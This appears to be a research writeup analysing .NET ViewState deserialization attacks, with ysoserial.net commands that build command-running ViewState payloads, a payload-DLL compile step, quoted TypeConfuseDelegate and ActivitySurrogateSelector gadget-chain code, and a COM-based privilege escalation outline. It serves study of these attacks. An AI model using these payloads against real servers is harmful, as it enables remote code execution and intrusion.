# Intro
This writeup was inspired by the following [blog](https://cyku.tw/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/) that discusses .NET ViewState Exploitation. In this writeup, I explored the TypeConfuseDelegate and ActivitySurrogateSelectorFromFile [ysoserial.net](https://github.com/pwntester/ysoserial.net) gadgets, the gadgets most commonly used to exploit ViewState and gain RCE.
The writeup also slightly touches upon the concept of COM and .NET Interoperabilities that serves as a foundation of the gadgets, and a lot of .NET documentations. Enjoy reading!
# ViewState Basics


### MAC Enabled=true + Invalid ViewState

### About ViewStateUserKey
- Used to prevent CSRF attacks.
- `ViewStateUserKey` is typically set to a value such as the current user’s username or the user's session identifier.
- Sample scenario:
- A client has two tabs open in a browser.
- Tab 1: Logs in as user A, `__VIEWSTATE` with A's `ViewStateUserKey` is rendered.
- Tab 2: Client logs out, logs in as User B, goes back to Tab 1 and submit the form.
- Submitted `ViewStateUserKey` is A's, but on the server's side is B's, mismatch causing error.
ViewState References:
* https://www.c-sharpcorner.com/UploadFile/225740/what-is-view-state-and-how-it-works-in-Asp-Net53/
* https://www.c-sharpcorner.com/uploadfile/37db1d/looking-deep-inside-postback-and-viewstate-in-Asp-Net-3-5/
# TypeConfuseDelegate
This payload successfully writes a file, but shows 500 Internal Server Error
Hence, we might not verify whether the file is successfully written.
```
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate \ `
-c "echo ViewStatePwned > C:\pwn.txt" --generator="8E2672C3" \ `
--validationalg="SHA1" \ `
--validationkey="A9F13C7FCD4B1AB1234567890ABCDEF1234567890ABCDEF1234567890ABCDEF1"
```

Take Note:
- It calls `HiddenFieldPageStatePersister Class`
- Inheritance: `Object` --> `PageStatePersister` --> `HiddenFieldPageStatePersister`
# ActivitySurrogateSelectorFromFile
## Passing .cs and supporting .dll files
```
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile \
-c "ExploitClassCykuModified.cs;./dlls/System.dll;./dlls/System.Web.dll" \
--generator="2B617B51" --validationalg="SHA1" \
--validationkey="A9F13C7FCD4B1AB1234567890ABCDEF1234567890ABCDEF1234567890ABCDEF1"
```

**Error: Unable to cast object of type 'State' to 'System.Web.UI.Pair'**
What this indicates:
- The top-level object passed in the ViewState parameter is of type 'State'
- ASP.NET ViewState expects to work with 'System.Web.UI.Pair'
## Passing .dll from a Compiled .cs
Convert the .cs file to .dll
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" \
/target:library /out:C:\inetpub\wwwroot\payloadcyku.dll \
C:\Users\Michelle\Desktop\ysoserial1\ysoserial.exe\ExploitClassCykuModified.cs
```
Pass the converted payload to ysoserial
```
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile \
-c "C:\inetpub\wwwroot\payloadcyku.dll" --generator="2B617B51" \
--validationalg="SHA1" \
--validationkey="A9F13C7FCD4B1AB1234567890ABCDEF1234567890ABCDEF1234567890ABCDEF1"
```


## Why one works and the other does not?
Two main questions:
1. Does passing a .cs file along with supporting .dll unable to result in a Pair object?
2. If so, does this fail because of:
- ASP.NET ViewState deserialization expects a Pair object, or
- ActivitySurrogateSelectorFile expects to work with Pair objects?
### Analyzing ActivitySurrogateSelectorFile
The `Generate()` function in ActivitySurrogateSelectorFromFileGenerator.cs calls `GadgetChainsToBinaryFormatter()` from ActivitySurrogateSelectorGenerator.cs

The `GadgetChainsToBinaryFormatter()` instantiates a new object from `GadgetChains()`

`GadgetChains()` itself makes use of Hashtable, IEnumerator, etc.

Hashtable itself is a collection of key/value pairs, will it have anything to do with the errors?
Not necessarily.
#### Reason #1: The error message explicitly states it is related to casting and ViewState.
Referencing this article: https://googleprojectzero.blogspot.com/2017/04/
- ActivitySurrogateSelector does make use of hashtable to trigger IEnumeration so our payload gets deserialized, but that happens before we pass the final payload to ViewState.
- If an error about Pair occurs, it’s due to the top-level object in the serialized payload not being a Pair, which only becomes a problem at deserialization time (on the server).
```
ysoserial payload generation (Hashtable/IEnumeration happens here)
->
HTTP request
->
ASP.NET ViewState processing (Pair casting error happens here)
```
#### Reason #2: The gadget chain behavior itself
ActivitySurrogateSelector does not necessarily expect to work with Pair Objects.
See ActivitySurrogateSelector analysis for detailed walkthrough.
### Analyzing ASP.NET ViewState Handler
As far as I know, ViewState deserialization uses `ObjectStateFormatter()`, making it able to deserialize any objects (?)
Further analyzing how ViewState works, apparently it uses `LoadPageStateFromPersistenceMedium`, which uses `PageStatePersister.Load`

Recall that when using `TypeConfuseDelegate`, an error message about the `HiddenFieldPageStatePersister` occurs

Taking a look at the `PageStatePersister.Load()` Method, we see a deserialization in action, which will cast the result into `Pair`
```
public override void Load()
{
Stream stateStream = GetSecureStream();
// Read the state string, using the StateFormatter.
StreamReader reader = new StreamReader(stateStream);
IStateFormatter formatter = this.StateFormatter;
string fileContents = reader.ReadToEnd();
// Deserilize returns the Pair object that is serialized in
// the Save method.
Pair statePair = (Pair)formatter.Deserialize(fileContents);
ViewState = statePair.First;
ControlState = statePair.Second;
reader.Close();
stateStream.Close();
}
```
Few things to note:
- PageStatePersister.Load() is called to load ViewState from a persistence medium.
- It uses an `IStateFormatter` to deserialize ViewState data
- The deserialized object is casted to `Pair` to initialize the `ViewState` and `ControlState` property
- The pattern will be: `Pair(pageViewState, controlState)`
Some few imformation from .NET documentation:
> By default, ASP.NET page state is serialized and deserialized by an instance of the ObjectStateFormatter class; however, site and adapter developers can implement the IStateFormatter interface on their own types to perform this work.

About the ObjectStateFormatter Class:
> Other types not listed above are binary-serialized using a BinaryFormatter object if they implement the ISerializable interface or are decorated with the SerializableAttribute attribute.
Notice that we are deserializing a class (not listed in the list stated in [reference](https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter?view=netframework-4.8.1)). So our object will be deserialized by BinaryFormatter.
Which makes sense, since ysoserial `ActivitySurrogateSelector` gadget itself serialized the payload using BinaryFormatter
```
MemoryStream stm = new MemoryStream();
if (inputArgs.Minify)
{
ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter fmtLocal = new ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter();
fmtLocal.SurrogateSelector = new MySurrogateSelector();
fmtLocal.Serialize(stm, ls);
}
else
{
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter fmt = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter();
fmt.SurrogateSelector = new MySurrogateSelector();
fmt.Serialize(stm, ls);
}
return stm.ToArray();
```
Conclusion:
- The error: `Unable to cast object of type 'State' to 'System.Web.UI.Pair'` happens when casting the deserialized object
- When passing a .cs file, ysoserial compiles it and wraps it in a State object, which becomes the top-level serialized instance — breaking the ASP.NET ViewState assumption.
- Execution path:
> 1. Page.LoadPageStateFromPersistenceMedium()
> 2. PageStatePersister.Load()
> 3. IStateFormatter.Deserialize() → Expects: Pair object
- This has nothing to do with the internals of the gadget itself (the early assumption of SortedKey's and Hashtable's relevance to Pair objects)
- ObjectStateFormatter takes many types of data structures, the Pair fails because of the type casting
Confusion: Why .dll works, .cs does not?
- When you pass a compiled .dll, ysoserial loads the class from the DLL, instantiates it, and plugs the object into the ActivitySurrogateSelectorFromFile gadget chain. This chain is then wrapped in a System.Web.UI.Pair, as required by ViewState deserialization.
- ysoserial.exe cannot compile the .cs file on its own — it expects a DLL, not source code. So if it works at all when you pass a .cs and .dll, it must be because: The DLL is doing the real work, or the .cs was previously compiled, cached, or accidentally referenced through a different mechanism.
# Analyzing The Gadgets
## Background Knowledge
### Managed and Unmanaged Code
- Managed code: execution is managed by a runtime (CLR: comple managed code to machine code and executing it)
- C#, VB.NET
- Unmanaged code: Programmer manages memory to security considerations
- C++, VBG
### COM (unmanaged) vs. .NET (managed)
- Object Lifetime
- COM: Client manages when to free/release the object.
- .NET: CLR automatically cleans up objects with GC.
- Discovering Capabilities
- COM: Requests interface, receives interface pointer if available.
- .NET: Use reflection to see all properties, methods, and interfaces of the objects.
- Memory Management
- COM: Expects the object to stay in one place, no mechanism to deal with dynamic object location.
- .NET: Objects reside in memory managed by .NET runtime execution environment, moves in memory for performance reasons.
### COM and .NET Interoperabilities
Interoperability: Passing the code between managed and unmanaged boundaries.
- .NET might not be COM, but should be able to interoperate with COM
- .NET can implement and consume COM objects
- These interoperabilities are supported by Runtime Callable Wrapper (RCW) and COM Callable Wrapper (CCW)
### Sample: Out-of-Process COM Server in C#
**Server Implementation**

> This is a .NET Object
**Client Implementation**
- Unmanaged COM client (C++)
```C++
ICustomInterface* pObj = NULL;
CLSID clsid;
hr = CLSIDFromProgID(L"MyNamespace.COMObject", &clsid);
hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, IID_ICustomInterface, (void**)&pObj);
pObj->DoSomething();
```
> Requests interface and receives interface pointer (if available).
- Managed client (C# via COM Interop)
```C#
Type comType = Type.GetTypeFromProgID("MyNamespace.COMObject");
object comObj = Activator.CreateInstance(comType);
comObj.GetType().InvokeMember("DoSomething", System.Reflection.BindingFlags.InvokeMethod, null, comObj, null);
```
> Use System.Reflection to see all information about the loaded assemblies (the objects).
### How CCW Works As A Translator
- When COM client calls a .NET object, a CCW is needed as a translator between COM and .NET.
- The CCW is automatically created by the .NET runtime.
- CCW makes the .NET object look like a native COM object to the COM client.

To Query Interface
```C++
IUnknown* pUnknown;
HRESULT hr = CoCreateInstance(..., IID_IUnknown, (void**)&pUnknown);
IDispatch* pDisp;
hr = pUnknown->QueryInterface(IID_IDispatch, (void**)&pDisp);
```
> 1. Instantiates a COM object using its CLSID, requests the object to return a pointer to IUnknown interface, pUnknown will point to the COM's IUnknown vtable
> 2. Now having pointer to IUnknown, use QueryInterface to get IDispatch pointer (pDisp)
### Now What If The Caller is .NET Client?

> Simply put, when .NET runtime gets hold of a COM object, it will go through a "process" to determine if it can unwrap the object from its CCW and avoid creating an RCW.
> The process is illustrated above
> It might end up calling BinaryFormatter::Deserialize()!
### Attacker's Perspective (Local Privilege Escalation)
**Make the server to try and create an RCW, for a serializable .NET object that is exposed over COM (the above inner box containing ".NET Object").**

**This abuses WMI**
> The server itself is not vulnerable, until it acts as a DCOM client: retrieving and deserializing attacker-controlled data.
Trick:
- Pass a .NET COM object to the server's `Equals` method
- The runtime tries to convert to RCW
- Runtime checks if it's a CCW wrapped .NET object, resulting in calling `GetSerializedBuffer`
- Send a serialized `Hashtable` to the server containing delegate object as one of the keys.
- The server contains COM implementation of the `IHashCodeProvider` Interface
- Custom deserialization code causes `IHashCodeProvider::GetHashCode` to be called, rebuilding the internal hash structures, running over each keys.
- The function meets the Delegate object (which is serializable), so it will gets passed back to the client (refer to the diagram above)
- The client is written in native code, so `IManagedObject` automatic serialization won't occur.
- The Delegate object is in the server while we are exposed to the CCW.
- Make a call via CCW to start a new process with server's privileges.
> The .NET COM Server becomes a DCOM client when it calls a method (GetHashCode) on a COM Interface, which is implemented by a remote object controlled by the attacker.
> The serialized hashtable contains the COM implementation (not .NET!!!) of the IHashCodeProvider, causing the .NET COM Server to be a DCOM Client when calling the method.
> Works in local privilege escalation but not guaranteed for RCE.
## TypeConfuseDelegate
### Key Idea
Creates a `String.Compare` delegate, multicasts it to later create type confusion, then uses this multicast delegate as a comparer in a `SortedSet` Object.
Sets the attacker's payload inside the `SortedSet`, then modifies the delegate's invocation list to call `Process.Start()`.
### How It Works
#### Step 1: Get user's input arguments
```C#
string cmdFromFile = inputArgs.CmdFromFile;
if (!string.IsNullOrEmpty(cmdFromFile)) {
inputArgs.Cmd = cmdFromFile;
}
```
#### Step 2: Create a Multicast Delegate
```C#
Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
```
> Multicast delegate contains a list of the assigned delegates
> When the multicast delegate is called, it invokes the delegates in the list in order.
> The types must match first so it will be valid in the ComparisonComparer, afterwards we can modify the Invoke List 1 to System.Process.Start
#### Step 3: Create a ComparisonComparer instance with the delegate
```C#
IComparer<string> comp = Comparer<string>.Create(d);
```
> ComparisonComparer performs a case-sensitive comparison of two objects with the same type
> Hence, since the multicast delegate contains two same types, it is valid.
#### Step 4: Add user's arguments to the SortedSet
```C#
SortedSet<string> set = new SortedSet<string>(comp);
set.Add(inputArgs.CmdFileName);
if (inputArgs.HasArguments) {
set.Add(inputArgs.CmdArguments);
}
else {
set.Add("");
}
```
#### Step 5: Modify the multicast delegate's list of invocation
```C#
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
// Modify the invocation list to add Process::Start(string, string)
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);
```


#### Why specifically modify `_invocationList[1]`?
- Upon object construction, `DelegateSerializationHolder.GetRealObject()` will be called.
- The above function treats the first element of the delegate list (`_invokeList[0]`) as the type for the entire MultiCastDelegate object.
```C#
return ((MulticastDelegate)array[0]).NewMulticastDelegate(array, array.Length);
```
- We want to keep the type ``Comparison<string>``.
## ActivitySurrogateSelector
### Key Idea
Generates an enumerable (hashtable) via `LINQ`, serializes it using `ObjectSurrogate`, forces enumeration to trigger deserialization via the `ToString()` method.
### How It Works
#### Step 1: Hashtable construction
- Create the gadget chains in the form of `IEnumerable`
```C#
byte[][] e1 = new byte[][] { assemblyBytes };
IEnumerable<Assembly> e2 = CreateWhereSelectEnumerableIterator<byte[], Assembly>
(e1, null, Assembly.Load);
IEnumerable<IEnumerable<Type>> e3 = CreateWhereSelectEnumerableIterator<Assembly, IEnumerable<Type>>
(e2, null, (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes")));
IEnumerable<IEnumerator<Type>> e4 = CreateWhereSelectEnumerableIterator<IEnumerable<Type>, IEnumerator<Type>>
(e3, null, (Func<IEnumerable<Type>, IEnumerator<Type>>)Delegate.CreateDelegate(typeof(Func<IEnumerable<Type>, IEnumerator<Type>>), typeof(IEnumerable<Type>).GetMethod("GetEnumerator")));
IEnumerable<Type> e5 = CreateWhereSelectEnumerableIterator<IEnumerator<Type>, Type>
(e4, (Func<IEnumerator<Type>, bool>)Delegate.CreateDelegate(typeof(Func<IEnumerator<Type>, bool>), typeof(IEnumerator).GetMethod("MoveNext")), (Func<IEnumerator<Type>, Type>)Delegate.CreateDelegate(typeof(Func<IEnumerator<Type>, Type>), typeof(IEnumerator<Type>).GetProperty("Current").GetGetMethod()));
IEnumerable<object> end = CreateWhereSelectEnumerableIterator<Type, object>(e5, null, Activator.CreateInstance);
```
- Create a new instance of `DesignerVerb` and `IDictionary`
```C#
PagedDataSource pds = new PagedDataSource() { DataSource = end };
dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);
verb = new DesignerVerb("", null);
typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);
```
> DesignerVerb and IDictionary is used hand-in-hand to trigger ToString()
> Will result in the LINQ enumerator being walked
- Initialize a normal empty list.
```C#
ls = new List<object>();
```
- Populate the list with the pre-loaded gadget chains.
```C#
ls.Add(e1);
ls.Add(e2);
ls.Add(e3);
ls.Add(e4);
ls.Add(e5);
ls.Add(end);
ls.Add(pds);
ls.Add(verb);
ls.Add(dict);
```
> This becomes a list of IEnumerable elements.
- Initialize a Hashtable
```C#
ht = new Hashtable();
```
- Replace the Hashtable's existing keys with `DesignerVerb`
```C#
FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
Array keys = (Array)fi_keys.GetValue(ht);
FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
for (int i = 0; i < keys.Length; ++i)
{
object bucket = keys.GetValue(i);
object key = fi_key.GetValue(bucket);
if (key is string)
{
fi_key.SetValue(bucket, verb);
keys.SetValue(bucket, i);
break;
}
}
fi_keys.SetValue(ht, keys);
```
> So ToString() method could be triggered since the key is not a string
- Add the modified Hashtable to the list
```C#
ls.Add(ht);
```
#### Step 2: Serialize the list
- List serialization
```C#
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter fmt = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter();
fmt.SurrogateSelector = new MySurrogateSelector();
fmt.Serialize(stm, ls);
```
- And serialize our input arguments passed via ysoserial
```C#
return Serialize(payload, formatter, inputArgs);
```
> The result is what we will pass to the server.
#### Step 3: Server receives the payload
- The Hashtable will get deserialized and all keys will be rehashed.
- If two same keys are found upon rebuilding, an exception will be thrown.
- The exception will end up calling `GetResourceString` and attempt to format the keys.
- If the key is not a `String` type (since we modified it), it will trigger the `ToString()` method, firing up our gadget chain.
### Summary

- Delegates: A type that represents references to methods with a particular parameter list and return type.
- We create an open delegate, which not bound to an instance and needs to be passed explicitly at invocation.
- In the end, each `Type` in `e5` is passed to `Activator.CreateInstance(Type)`
# References:
* https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.pagestatepersister.load?view=netframework-4.8.1
* https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.pagestatepersister?view=netframework-4.8.1
* https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.hiddenfieldpagestatepersister?view=netframework-4.8.1
* https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.pagestatepersister?view=netframework-4.8.1
* https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.istateformatter?view=netframework-4.8.1
* https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter?view=netframework-4.8.1
* https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/ActivitySurrogateSelectorFromFileGenerator.cs
* https://support.microsoft.com/en-us/topic/resolving-view-state-message-authentication-code-mac-errors-6c0e9fd3-f8a8-c953-8fbe-ce840446a9f3
* https://learn.microsoft.com/en-us/dotnet/framework/interop/com-interop-sample-com-client-and-net-server?source=recommendations
* https://learn.microsoft.com/en-us/dotnet/csharp/programming-guide/delegates/how-to-combine-delegates-multicast-delegates
* https://testbnull.medium.com/deep-inside-typeconfusedelegate-gadgetchain-456915ed646a
* https://testbnull.medium.com/c%C3%B3-g%C3%AC-b%C3%AAn-trong-c%C3%A1c-net-deser-gadgetchain-3d89897c4878
* https://learn.microsoft.com/en-us/dotnet/api/system.collections.comparer.compare?view=net-9.0
* https://www.troyhunt.com/understanding-and-testing-for-view/